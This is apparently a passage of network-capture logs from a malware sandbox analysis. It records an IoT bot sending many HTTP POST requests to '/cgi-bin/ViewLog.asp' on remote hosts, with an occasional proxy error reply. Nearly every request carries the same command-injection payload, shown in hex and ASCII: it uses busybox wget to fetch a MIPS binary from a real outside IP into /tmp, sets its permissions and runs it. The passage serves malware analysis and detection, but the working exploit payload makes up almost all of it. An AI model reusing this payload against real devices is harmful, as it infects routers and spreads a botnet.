                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:54.685358047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:03.645067930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:21.820427895 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:58.683419943 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                10192.168.2.154362894.122.199.1558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:46.106426001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                11192.168.2.154841894.121.69.1898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:50.586771965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                12192.168.2.155626695.77.137.918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:50.595494986 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                13192.168.2.153860095.164.243.968080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:50.688806057 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:50.793051958 CET1314INHTTP/1.1 400 Bad Request
                                                Server: squid/3.5.27
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 04:19:50 GMT
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 3556
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Vary: Accept-Language
                                                Content-Language: en
                                                X-Cache: MISS from ubuntu
                                                X-Cache-Lookup: NONE from ubuntu:8080
                                                Via: 1.1 ubuntu (squid/3.5.27)
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. *//* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-seri


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                14192.168.2.153369894.248.240.398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.090378046 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:55.306432009 CET165INHTTP/1.0 403 Access denied
                                                Server: tinyproxy/1.8.2
                                                Content-Type: text/html
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                15192.168.2.155833494.120.212.1278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.100938082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                16192.168.2.155303685.73.123.38080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.312491894 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:55.994450092 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                17192.168.2.154218285.72.130.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.312556982 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:55.996615887 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:56.242562056 CET442INHTTP/1.1 404 Not Found
                                                Date: Tue, 31 Mar 1970 03:04:25 GMT
                                                Server: DNVRS-Webs
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                18192.168.2.155706294.122.199.2328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.317161083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                19192.168.2.153371494.248.240.398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.530666113 CET165INHTTP/1.0 403 Access denied
                                                Server: tinyproxy/1.8.2
                                                Content-Type: text/html
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                20192.168.2.153434262.29.94.798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:55.773061991 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                21192.168.2.154675262.29.102.368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:56.001616955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                22192.168.2.155294431.136.224.2468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:56.052957058 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.293081999 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:05.436999083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
